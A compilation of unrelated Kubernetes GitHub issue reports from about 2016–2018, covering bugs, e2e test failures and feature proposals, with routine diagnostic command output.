i was particularly curios why proxy has these arguments that i could find in the code:            --docker=\ unix:///var/run/docker.sock\ : docker endpoint       --docker-only =false : only report docker containers in addition to root stats       --docker-root=\ /var/lib/docker\ : absolute path to the docker state root directory  default: /var/lib/docker        --docker-run=\ /var/run/docker\ : absolute path to the docker run directory  default: /var/run/docker       turns out these come from cadvisor...

in files  pkg/api/v1/conversion.go ,  pkg/apis/extensions/v1beta1/conversion.go  and  federation/apis/core/v1/conversion.go , the code that adds field label conversions for objectmeta fields has a minor closure bug. multiple closure functions  func label, value string   string, string, error   created in the loop for each kind is bound to the same variable  kind . this typically causes the last  kind  value in the loop to show up in the error message  \ field label %q not supported for %q\  .   as an example, if the user queries for a metadata field not supported for kind  endpoints  or  resourcequota , etc., it would show the error message as  \ field label metadata.abc not supported for configmap\  since configmap  is the last kind in the list  https://github.com/kubernetes/kubernetes/blob/master/pkg/api/v1/conversion.go l56-l62.  the fix is a simple change to create the  func label, value string   string, string, error   in another function.  i have the fix ready and will submit shortly.

it is too hard to run e2e tests right now.  it should be easy to fire up a test cluster, check out the k8s code and say \ go test .

code that prepares http.request and verifies http.response can be refactored.  related: https://github.com/kubernetes/kubernetes/pull/30588

failure cluster  63cac4c910ad28b543bc  https://go.k8s.io/triage 63cac4c910ad28b543bc        error text:     error during ./hack/ginkgo-e2e.sh --ginkgo.focus=\\ slow\\  --ginkgo.skip=\\ serial\\ |\\ disruptive\\ |\\ flaky\\ |\\ feature:.+\\  --minstartuppods=8 --report-dir=/workspace/_artifacts: exit status 1           failure cluster statistics: 1 tests failed,    31 jobs failed,    198 builds failed. failure stats cover 1 day time range '18 jul 2017 21:39 utc' to '19 jul 2017 21:39 utc'.       top failed tests by jobs failed:  | test name | jobs failed | | --- | --- | | test | 31 |        top failed jobs by builds failed:  | job name | builds failed | latest failure | | --- | --- | --- | | ci-kubernetes-e2e-cos-docker-validation-slow | 22 |  19 jul 2017 19:58 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-cos-docker-validation-slow/2221  | | ci-kubernetes-e2e-gci-gce-slow | 16 |  19 jul 2017 20:13 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-slow/7327  | | ci-kubernetes-e2e-gci-gke-slow | 14 |  19 jul 2017 19:54 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gke-slow/8373  |   current status  https://go.k8s.io/triage 63cac4c910ad28b543bc

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r >  >  \r   what happened  :\r \r when i deployed a service with type load balancer, the service controller will create an external load balancer on openstack, but when i delete this service, the load balancer will still exist on openstack cloud provider.\r \r  kubectl get svc\r name         cluster-ip   external-ip   port s    age\r kubernetes   10.248.0.1   <none>        443/tcp   5d\r \r  neutron lbaas-loadbalancer-list\r +--------------------------------------+----------------------------------------------------+-------------+---------------------+------------+\r | id                                   | name                                               | vip_address | provisioning_status | provider   |\r +--------------------------------------+----------------------------------------------------+-------------+---------------------+------------+\r | 021e6a63-1643-4557-aaca-37c9fb3b3ad1 | k8s-master-lb-4378c909-26fd-4254-9f34-17976b292014 | 192.168.0.3 | error               | vmwareedge |\r | 1392daee-40fd-48d8-91e8-37ffef4eb41c | a3a9866527ce211e79504fa163e95de4                   | 192.168.0.8 | active              | vmwareedge |\r | e7864372-3ed4-4ae9-849d-db71f5a2c041 | k8s-master-lb-4378c909-26fd-4254-9f34-17976b292014 | 192.168.0.7 | active              | vmwareedge |\r +--------------------------------------+----------------------------------------------------+-------------+---------------------+------------+\r \r   what you expected to happen  :\r \r the load balancer created for the kubernetes service should be deleted automatically.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r 1> create a service with load balancer type\r 2> check the openstack load balancer using command: neutron lbaas-loadbalancer-list\r 3> delete the service defined in step 1\r 4> do same as step 2\r \r   anything else we need to know?  :\r \r 1. the kubernetes controller manager does not restart during these ops. i checked the process number, it keeps same.\r 2. the floating ip related to the load balancer vip is deleted.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r \r  kubectl version\r 2017-08-09 02:37:01.607289 i | proto: duplicate proto type registered: google.protobuf.any\r 2017-08-09 02:37:01.607883 i | proto: duplicate proto type registered: google.protobuf.duration\r 2017-08-09 02:37:01.608000 i | proto: duplicate proto type registered: google.protobuf.timestamp\r client version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.0\ , gitcommit:\ 50ce6464749d05317882f2a4e5e06b3709d59737\ , gittreestate:\ clean\ , builddate:\ 2017-07-26t04:38:26z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.0\ , gitcommit:\ 50ce6464749d05317882f2a4e5e06b3709d59737\ , gittreestate:\ clean\ , builddate:\ 2017-07-26t04:38:26z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration  :\r openstack provider\r - os  e.g. from /etc/os-release :\r ubuntu\r - kernel  e.g.  uname -a  :\r  cat /etc/lsb-release \r distrib_id=ubuntu\r distrib_release=16.04\r distrib_codename=xenial\r distrib_description=\ ubuntu 16.04.2 lts\ \r \r - install tools:\r kubespray\r \r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r unused images does not get deleted\r \r   what you expected to happen  :\r \r unused images get deleted\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r - configure kubelet with these args: \r \r        \r     --eviction-soft=memory.available<800mi,nodefs.available<3gi,imagefs.available<6gi\r     --eviction-soft-grace-period=memory.available=10m,nodefs.available=10m,imagefs.available=10m\r     --eviction-max-pod-grace-period=-1\r     --eviction-hard=memory.available<300mi,nodefs.available<1gi\r     --eviction-pressure-transition-period=10m\r        \r \r   anything else we need to know?  :\r \r when using above config, the node's events history showing:\r \r    \r 3m    3m    1 kubelet, 192.168.1.159      normal    starting    starting kubelet.\r 3m    3m    1 kubelet, 192.168.1.159      warning   imagegcfailed   unable to find data for container /\r 3m    3m    1 kubelet, 192.168.1.159      normal    nodehassufficientdisk node 192.168.1.159 status is now: nodehassufficientdisk\r 3m    3m    1 kubelet, 192.168.1.159      normal    nodehassufficientmemory node 192.168.1.159 status is now: nodehassufficientmemory\r 3m    3m    2 kubelet, 192.168.1.159      normal    nodehasnodiskpressure node 192.168.1.159 status is now: nodehasnodiskpressure\r 3m    3m    1 kubelet, 192.168.1.159      normal    nodenotready    node 192.168.1.159 status is now: nodenotready\r 3m    3m    1 kubelet, 192.168.1.159      normal    nodehasdiskpressure node 192.168.1.159 status is now: nodehasdiskpressure\r 3m    3m    1 kubelet, 192.168.1.159      normal    nodeready   node 192.168.1.159 status is now: nodeready\r    \r \r if i change  --eviction-soft  to  --eviction-hard  ，it works, node's events history showing these:\r \r    \r 46m   46m   1 kubelet, 192.168.1.158      normal    starting    starting kubelet.\r 46m   46m   1 kubelet, 192.168.1.158      normal    nodeready   node 192.168.1.158 status is now: nodeready\r 45m   45m   1 kubelet, 192.168.1.158      normal    starting    starting kubelet.\r 45m   45m   1 kubelet, 192.168.1.158      warning   imagegcfailed   unable to find data for container /\r 45m   45m   1 kubelet, 192.168.1.158      normal    nodehassufficientdisk node 192.168.1.158 status is now: nodehassufficientdisk\r 45m   45m   1 kubelet, 192.168.1.158      normal    nodehassufficientmemory node 192.168.1.158 status is now: nodehassufficientmemory\r 45m   45m   1 kubelet, 192.168.1.158      normal    nodenotready    node 192.168.1.158 status is now: nodenotready\r 45m   45m   1 kubelet, 192.168.1.158      normal    nodeready   node 192.168.1.158 status is now: nodeready\r 44m   44m   1 kubelet, 192.168.1.158      warning   evictionthresholdmet  attempting to reclaim imagefs\r 44m   44m   1 kubelet, 192.168.1.158      normal    nodehasdiskpressure node 192.168.1.158 status is now: nodehasdiskpressure\r 45m   34m   2 kubelet, 192.168.1.158      normal    nodehasnodiskpressure node 192.168.1.158 status is now: nodehasnodiskpressure\r    \r \r the difference is there is an extra  evictionthresholdmet  event, which is not seen with  --eviction-soft  cofnig.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r \r         client version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.4\ , gitcommit:\ d6f433224538d4f9ca2f7ae19b252e6fcb66a3ae\ , gittreestate:\ clean\ , builddate:\ 2017-05-19t18:44:27z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r         server version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.4\ , gitcommit:\ d6f433224538d4f9ca2f7ae19b252e6fcb66a3ae\ , gittreestate:\ clean\ , builddate:\ 2017-05-19t18:33:17z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - os  e.g. from /etc/os-release : ubuntu 16.04\r - kernel  e.g.  uname -a  : linux 192-168-1-1 4.4.0-63-generic  84-ubuntu smp wed feb 1 17:20:32 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r - install tools: kubeadm\r \r

failing jobs\r    gce-1.10-master-upgrade-cluster-parallel  https://k8s-testgrid.appspot.com/sig-release-master-upgrade gce-1.10-master-upgrade-cluster-parallel \r    gce-1.10-master-upgrade-cluster  https://k8s-testgrid.appspot.com/sig-release-master-upgrade gce-1.10-master-upgrade-cluster \r    gce-1.10-master-upgrade-cluster-new  https://k8s-testgrid.appspot.com/sig-release-master-upgrade gce-1.10-master-upgrade-cluster-new \r \r    gubernator logs from recent runs\r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-new-master-upgrade-cluster-parallel/3339\r \r    triage results\r    cluster-upgrade  https://storage.googleapis.com/k8s-gubernator/triage/index.html?job=ci-kubernetes-e2e-gce-new-master-upgrade-cluster-parallel&test=cluster-upgrade \r \r this test is currently failing in sig-release master-upgrade suite. this could potentially block beta cut which is on 5/15. \r \r @timothysc can you please help triage this failure ?\r \r  / /  @kubernetes/sig-cluster-lifecycle-bugs\r /milestone v1.11\r \r cc @jberkus @tpepper\r \r /assign @timothysc

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if this may be security issue, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r >  \r  \r \r   what happened  :\r our network backend  https://github.com/midonet/midonet-kubernetes  has a replacement\r of kube-proxy. after \ kubeadm init\ , we need to disable kube-proxy and clean up its iptables rules manually.  see step 3. and 4. in https://github.com/midonet/midonet-kubernetes/tree/7f0ef03a2b1bcedd4a3e760a6f4beafe25e0da5d how-to-deploy\r \r   what you expected to happen  :\r i want to see an option for kubeadm not to set up kube-proxy. it would make our deployment steps with kubeadm more straightforward.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.3\ , gitcommit:\ d2835416544f298c919e2ead3be3d0864b52323b\ , gittreestate:\ clean\ , builddate:\ 2018-02-07t12:22:21z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.3\ , gitcommit:\ d2835416544f298c919e2ead3be3d0864b52323b\ , gittreestate:\ clean\ , builddate:\ 2018-02-07t11:55:20z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r - cloud provider or hardware configuration:\r openstack vm\r - os  e.g. from /etc/os-release :\r name=\ ubuntu\ \r version=\ 16.04.3 lts  xenial xerus \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 16.04.3 lts\ \r version_id=\ 16.04\ \r home_url=\ http://www.ubuntu.com/\ \r support_url=\ http://help.ubuntu.com/\ \r bug_report_url=\ http://bugs.launchpad.net/ubuntu/\ \r version_codename=xenial\r ubuntu_codename=xenial\r - kernel  e.g.  uname -a  :\r linux k 4.4.0-92-generic  115-ubuntu smp thu aug 10 09:04:33 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r - install tools:\r kubeadm\r - others:\r

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r \r   what happened  :\r \r when updating the kubelet rpm from 1.11.3-0.x86_64 to 1.11.4-0.x86_64,  /etc/sysconfig/kubelet  is overwritten with the package contents again. \r \r   what you expected to happen  :\r \r  /etc/sysconfig/kubelet  should be left as-is because it is meant for the operator to override\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r install kubelet on centos:\r \r    \r $ docker run -it centos:7\r \r cat <<eof > /etc/yum.repos.d/kubernetes.repo\r  kubernetes \r name=kubernetes\r baseurl=https://packages.cloud.google.com/yum/repos/kubernetes-el7-x86_64\r enabled=1\r gpgcheck=1\r repo_gpgcheck=1\r gpgkey=https://packages.cloud.google.com/yum/doc/yum-key.gpg https://packages.cloud.google.com/yum/doc/rpm-package-key.gpg\r eof\r \r yum install -y kubelet-1.11.3 \r \r    \r \r modify  /etc/sysconfig/kubelet :\r \r    \r echo \ foo=bar\  >>  /etc/sysconfig/kubelet \r \r  root@7d83157dac5a /   cat /etc/sysconfig/kubelet \r kubelet_extra_args=\r foo=bar\r    \r \r upgrade kubelet:\r \r    \r yum upgrade -y  kubelet-1.11.4 \r    \r \r check  /etc/sysconfig/kubelet :\r    \r  root@7d83157dac5a /   cat /etc/sysconfig/kubelet \r kubelet_extra_args=\r    \r \r   anything else we need to know?  :\r \r  configuration files in rpm packages should be marked as %config noreplace   http://people.ds.cam.ac.uk/jw35/docs/rpm_config.html \r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.11.4\r - cloud provider or hardware configuration: docker\r - os  e.g. from /etc/os-release : centos linux 7  core \r - kernel  e.g.  uname -a  : linux 7d83157dac5a 4.9.93-linuxkit-aufs  1 smp wed jun 6 16:55:56 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r - install tools: —\r - others:\r \r <!-- do not edit below this line -->\r 

https://gubernator.k8s.io/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-scale-performance/314 failed with\r \r    \r  measurement call apiresponsiveness - apiresponsiveness error: top latency metric: there should be no high-latency requests, but:  got: {resource:secrets subresource: verb:get scope:namespace latency:{perc50:1.927ms perc90:74.256ms perc99:1.038866s} count:116}; expected perc99 <= 1s  \r

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/\r -->\r  \r hi all,\r \r i hope this is the right place for such issue.\r \r   what happened  :\r explanation : \r i have k8s with 11 nodes environment with 3 master nodes  2 replicas .\r with several services and pods in my environment my main master node stopped exposing ports while other master  replica1, replica2  are exposing the ports for my pods \r \r here is example of my k8s dashboard which is working on my 2 replicas but not in the master node with port exposed\r      on my k8s-master-main this is the output from the tcpdump\r we can see that the host is listen to the port but does not redirect the networking\r    \r root@k8s-master-main:~  lsof -i:30465\r command     pid user   fd   type  device size/off node name\r kube-prox 32627 root   25u  ipv6 7465821      0t0  tcp  :30465  listen \r    \r here the iptable rules that i have for the dashboard it's exact on all master nodes\r    \r root@k8s-master-main:~  iptables -t nat -nl | grep dashboard\r kube-mark-masq  tcp  --  0.0.0.0/0            0.0.0.0/0            /  kube-system/kubernetes-dashboard:  / tcp dpt:30465\r kube-svc-xgloha7qrq3v22rz  tcp  --  0.0.0.0/0            0.0.0.0/0            /  kube-system/kubernetes-dashboard:  / tcp dpt:30465\r kube-mark-masq  all  --  10.32.0.3            0.0.0.0/0            /  kube-system/kubernetes-dashboard:  /\r dnat       tcp  --  0.0.0.0/0            0.0.0.0/0            /  kube-system/kubernetes-dashboard:  / tcp to:10.32.0.3:8443\r kube-mark-masq  tcp  -- !10.32.0.0/12         10.110.60.225        /  kube-system/kubernetes-dashboard: cluster ip  / tcp dpt:443\r kube-svc-xgloha7qrq3v22rz  tcp  --  0.0.0.0/0            10.110.60.225        /  kube-system/kubernetes-dashboard: cluster ip  / tcp dpt:443\r kube-sep-lpugt7e25kuq5pui  all  --  0.0.0.0/0            0.0.0.0/0            /  kube-system/kubernetes-dashboard:  /\r \r    \r the dashboard is listen on port 30465 here is the output of my tcpdump\r    \r root@k8s-master-main:~  tcpdump -ni any port 30465\r tcpdump: verbose output suppressed, use -v or -vv for full protocol decode\r listening on any, link-type linux_sll  linux cooked , capture size 262144 bytes\r 13:01:13.002312 ip 192.168.10.139.65533 > 192.168.132.133.30465: flags  s , seq 3169086234, win 64260, options  mss 1428,nop,wscale 8,nop,nop,sackok , length 0\r 13:01:13.252722 ip 192.168.10.139.65535 > 192.168.132.133.30465: flags  s , seq 1338864689, win 64260, options  mss 1428,nop,wscale 8,nop,nop,sackok , length 0\r 13:01:16.000630 ip 192.168.10.139.65533 > 192.168.132.133.30465: flags  s , seq 3169086234, win 64260, options  mss 1428,nop,wscale 8,nop,nop,sackok , length 0\r 13:01:16.253443 ip 192.168.10.139.65535 > 192.168.132.133.30465: flags  s , seq 1338864689, win 64260, options  mss 1428,nop,wscale 8,nop,nop,sackok , length 0\r    \r \r      on my k8s-master-replica1 this is the output from the tcpdump\r    \r root@k8s-master-replica1:~  tcpdump -ni any port 30465\r tcpdump: verbose output suppressed, use -v or -vv for full protocol decode\r listening on any, link-type linux_sll  linux cooked , capture size 262144 bytes\r 13:06:15.891608 ip 192.168.10.139.49475 > 192.168.132.135.30465: flags  s , seq 3874981346, win 64260, options  mss 1428,nop,wscale 8,nop,nop,sackok , length 0\r 13:06:15.892994 ip 192.168.132.135.30465 > 192.168.10.139.49475: flags  s. , seq 4062915301, ack 3874981347, win 26720, options  mss 1336,nop,nop,sackok,nop,wscale 7 , length 0\r 13:06:15.893576 ip 192.168.10.139.49475 > 192.168.132.135.30465: flags  . , ack 1, win 260, length 0\r 13:06:15.895480 ip 192.168.10.139.49475 > 192.168.132.135.30465: flags  p. , seq 1:518, ack 1, win 260, length 517\r 13:06:15.895658 ip 192.168.132.135.30465 > 192.168.10.139.49475: flags  . , ack 518, win 218, length 0\r 13:06:15.895788 ip 192.168.132.135.30465 > 192.168.10.139.49475: flags  p. , seq 1:147, ack 518, win 218, length 146\r 13:06:15.896432 ip 192.168.10.139.49475 > 192.168.132.135.30465: flags  p. , seq 518:569, ack 147, win 260, length 51\r 13:06:15.896865 ip 192.168.132.135.30465 > 192.168.10.139.49475: flags  p. , seq 147:203, ack 569, win 218, length 56\r 13:06:15.933856 ip 192.168.10.139.49475 > 192.168.132.135.30465: flags  p. , seq 569:746, ack 203, win 260, length 177\r 13:06:15.933885 ip 192.168.10.139.49475 > 192.168.132.135.30465: flags  p. , seq 746:1022, ack 203, win 260, length 276\r    \r \r i have created a docker image for nginx and i saw that the system is redirected the http port\r    \r root@k8s-master-main:~  tcpdump  -ni any port 8080\r tcpdump: verbose output suppressed, use -v or -vv for full protocol decode\r listening on any, link-type linux_sll  linux cooked , capture size 262144 bytes\r 13:35:19.394587 ip 192.168.10..139.52032 > 192.168.132.133.8080: flags  f. , seq 3885521030, ack 1729975292, win 252, length 0\r 13:35:19.394755 ip 192.168.132.133.8080 > 192.168.10..139.52032: flags  f. , seq 1, ack 1, win 245, length 0\r 13:35:19.395317 ip 192.168.10..139.52032 > 192.168.132.133.8080: flags  . , ack 2, win 252, length 0\r 13:35:19.428629 ip 192.168.10..139.52071 > 192.168.132.133.8080: flags  s , seq 3014852904, win 64260, options  mss 1428,nop,wscale 8,nop,nop,sackok , length 0\r 13:35:19.428724 ip 192.168.132.133.8080 > 192.168.10..139.52071: flags  s. , seq 1168464434, ack 3014852905, win 29200, options  mss 1460,nop,nop,sackok,nop,wscale 7 , length 0\r 13:35:19.430191 ip 192.168.10..139.52071 > 192.168.132.133.8080: flags  . , ack 1, win 256, length 0\r 13:35:19.431712 ip 192.168.10..139.52071 > 192.168.132.133.8080: flags  p. , seq 1:380, ack 1, win 256, length 379: http: get / http/1.1\r 13:35:19.431751 ip 192.168.132.133.8080 > 192.168.10..139.52071: flags  . , ack 380, win 237, length 0\r 13:35:19.431905 ip 192.168.132.133.8080 > 192.168.10..139.52071: flags  p. , seq 1:239, ack 380, win 237, length 238: http: http/1.1 200 ok\r 13:35:19.431983 ip 192.168.132.133.8080 > 192.168.10..139.52071: flags  p. , seq 239:851, ack 380, win 237, length 612: http\r 13:35:19.433158 ip 192.168.10..139.52071 > 192.168.132.133.8080: flags  . , ack 851, win 253, length 0\r 13:35:19.453609 ip 192.168.10..139.52071 > 192.168.132.133.8080: flags  p. , seq 380:740, ack 851, win 253, length 360: http: get /favicon.ico http/1.1\r 13:35:19.453927 ip 192.168.132.133.8080 > 192.168.10..139.52071: flags  p. , seq 851:1159, ack 740, win 245, length 308: http: http/1.1 404 not found\r 13:35:19.498549 ip 192.168.10..139.52071 > 192.168.132.133.8080: flags  . , ack 1159, win 252, length 0\r    \r \r   what you expected to happen  :\r to have access to my exposed ports\r   how to reproduce it  as minimally and precisely as possible   :\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.0\ , gitcommit:\ 91e7b4fd31fcd3d5f436da26c980becec37ceefe\ , gittreestate:\ clean\ , builddate:\ 2018-06-27t20:17:28z\ , goversion:\ go1.10.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.2\ , gitcommit:\ bb9ffb1654d4a729bb4cec18ff088eacc153c239\ , gittreestate:\ clean\ , builddate:\ 2018-08-07t23:08:19z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration:\r    on-premise vm's\r - os  e.g:  cat /etc/os-release  :\r      \r   name=\ ubuntu\ \r   version=\ 16.04.4 lts  xenial xerus \ \r      \r - kernel  e.g.  uname -a  :\r    4.4.0-116-generic   \r - install tools:\r \r - others:\r

we propose to add a  pod/dockercmd  subresource, so that user can run some userful docker command on his container, such as commit the image of his container by running  docker commit .  by now, k8s just support the  docker logs  and  docker attach command by the  pod/log  and  pod/attach  subresource. our idea is to add a general  pod/dockercmd  subresource to support more useful docker commands and disable some dangerous commands such as  docker stop  , the existing  pod/log  and  pod/attache  subresource can be deprecated after the  pod/dockercmd  subresource is supported.   such a way is much more extensible: if we want support another docker command in the future, just add it to the \ whitelist\ , instead of adding a new subresource and duplicating a lot of code.  any comment is welcomed.

motivation  if i was setting up frontend infrastructure on kube, i might do something like this:      l1   ingress    service state     <- |     |                                | per service dos policy  certs, geo   ---  hostname, ip  ---  dos engine      |  l2   services    endpoint state     |   enforces routing rules      |  endpoints  produce web page       today, there's only 1 routing rule at the service layer  rr to all endpoints , and 1 routing rule at the ingress layer  http hostname, path prefix match . this is insufficent to express more complex group membership patterns we see in petset  leader election, broadcast  and common routing patterns observed in tiered applications  retry get, traffic splitting, consistent hashing to memcache farm .     proposal  add a new  routingrule  subtype and embed it either in the ingress or service. the subtype would implement rules like:  1. leader  https://github.com/kubernetes/kubernetes/issues/1542, https://github.com/kubernetes/kubernetes/issues/10456  2. broadcast  https://github.com/kubernetes/kubernetes/issues/12026  3. failover on error  it's been asked for before, can't find issue  4. hash based on incoming request or backend server  https://github.com/kubernetes/kubernetes/issues/8731  5. canary  https://github.com/kubernetes/kubernetes/issues/25485  6. vanilla lb algorithms   i'd like l2 in the diagram above to implement the rules, because storing all endpoints at l1 might not be practical. in my mind l1 is the layer you can duplicate across the globe and use at the edge of your network, or even  in someone elses dc.   i can't decide what l2 is, i'm tempted to say it's a service but:  - sticky session and lb algorithms are common at l1 and l2 - services don't understand l7 - the most obvious way to implement a majority of the routing rules is through a webserver - ties in with the \ internal ingress\  concept - service is no longer a simple intra-cluster, low latency \ dumb\  routing abstraction  @smarterclayton @thockin @kubernetes/sig-network  we need a @kubernetes/lb

cc @thockin @davidopp @bgrant0607 @justinsb fyi.  === email thread below explains details ===  on wed, aug 10, 2016 at 7:36 am, quinton hoole quinton@google.com wrote: i believe i'm the guilty party here. justin sb and i decided to make them alpha in v1.2 because we didn't solve the general topology problem that tim mentions, but needed the zone and region labels for multi-zone clusters. and then we never went back to finalize it.  tim, you are absolutely right, we need to think this through properly, and promote whatever the outcome is through beta and ga within a reasonable time. i suggest we add the move to beta to our v1.5 plans. i can sign up for that.  on aug 9, 2016 10:52 pm, \ tim hockin\  thockin@google.com wrote: i don't want to derail anything.  i was not trying to demand unplanned work ;   on tue, aug 9, 2016 at 10:49 pm, david oppenheimer davidopp@google.com wrote:  > i wasn't complaining about your question  or disagreeing with your saying > that it's half-finished  -- just wanted to understand what specifically you > were suggesting for 1.4  if anything . >  > i'm totally fine with moving them to ga and doing a more flexible topology > approach later. moving these labels to ga doesn't prevent us from inserting > more labels above, below, or in between the ones we have now  e.g. adding > rack . so we can potentially put off the more flexible thing for quite some > time. >  > on tue, aug 9, 2016 at 10:34 pm, tim hockin thockin@google.com wrote: >  > > i was simply asking what the plan was.  i hate half-done things with > > no plan.  the topology annotations are in-use and fairly visible.  i > > wanted to know if we had a plan for finishing.  we don't and that is > > ok. > >  > > on tue, aug 9, 2016 at 10:30 pm, david oppenheimer davidopp@google.com > > wrote: > >  > > > tim, are you saying we should move these to ga for 1.4? or beta is > > > sufficient? in theory it's just a two line change either way, but i want > > > to > > > make sure i understand what you're suggesting. > > >  > > > on tue, aug 9, 2016 at 10:03 pm, tim hockin thockin@google.com wrote: > > >  > > > > that's fine, it's just one more thing that we have started but not > > > > finished.  should be in the backlog for debt relief. > > > >  > > > > on tue, aug 9, 2016 at 9:52 pm, david oppenheimer davidopp@google.com > > > > wrote: > > > >  > > > > > we can move them from alpha/beta and later do a parallel set of > > > > > labels > > > > > or > > > > > whatever to express more complicated topologies. i don't think anyone > > > > > has > > > > > time to think about the \ right\  way to describe flexible topologies > > > > > right > > > > > now... > > > > >  > > > > > on tue, aug 9, 2016 at 9:48 pm, tim hockin thockin@google.com > > > > > wrote: > > > > >  > > > > > > yeah, they work.  the \ alpha\  is ugly. > > > > > >  > > > > > > on tue, aug 9, 2016 at 9:48 pm, david oppenheimer > > > > > > davidopp@google.com > > > > > > wrote: > > > > > >  > > > > > > > i don't think the alpha.\\  prefix actually does anything. so if the > > > > > > > kubelet > > > > > > > publishes them  i believe that's where they're getting published > > > > > > > from , > > > > > > > you > > > > > > > should be able to use them already on gke. > > > > > > >  > > > > > > > on tue, aug 9, 2016 at 9:44 pm, brian grant > > > > > > > briangrant@google.com > > > > > > > wrote: > > > > > > >  > > > > > > > > +davidopp > > > > > > > >  > > > > > > > > bare metal might well have more failure domains. given potential > > > > > > > > variation > > > > > > > > in cluster topologies, i don't know that we ever want these to be > > > > > > > > fields. > > > > > > > > the scheduler will deal with them as labels. > > > > > > > >  > > > > > > > > we probably want them to be beta, if they aren't already, so they > > > > > > > > can > > > > > > > > be > > > > > > > > used in gke, but i don't know if this is on anyone's radar. > > > > > > > >  > > > > > > > > on wed, jul 13, 2016 at 3:24 pm, tim hockin thockin@google.com > > > > > > > > wrote: > > > > > > > >  > > > > > > > > > the failure-domain annotations are documented as alpha/beta and > > > > > > > > > are > > > > > > > > > named as such. > > > > > > > > >  > > > > > > > > > do we intend to move the annotations to be \ real\  any time soon? > > > > > > > > >  > > > > > > > > > are we codifying the 2-level zone/region model or do we intend > > > > > > > > > for > > > > > > > > > it > > > > > > > > > to be more generic for arbitrary cases  e.g. rack within a zone  > > > > > > > > >  > > > > > > > > > do we intend for topology info to forever be in labels, or will > > > > > > > > > it > > > > > > > > > ever have a home as first-class fields?

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-serial/65/  failed:  k8s.io  network partition  disruptive   slow   k8s.io   replicationcontroller  should recreate pods scheduled on the unreachable node and allow scheduling of pods on a node after it rejoins the cluster {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/network_partition.go:314 nov 21 17:31:17.321: node gke-bootstrap-e2e-default-pool-38dac485-wru5 did not become ready within 2m0s /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/network_partition.go:291

upgrade to cadvisor latest build / release which includes:\r \r   fix journalctl leak on kubelet restart\r   fix container memory rss\r   add hugepages monitoring support\r   fix incorrect cpu usage metrics with 4.7 kernel\r   add tmpfs monitoring support\r   hugepage support\r \r

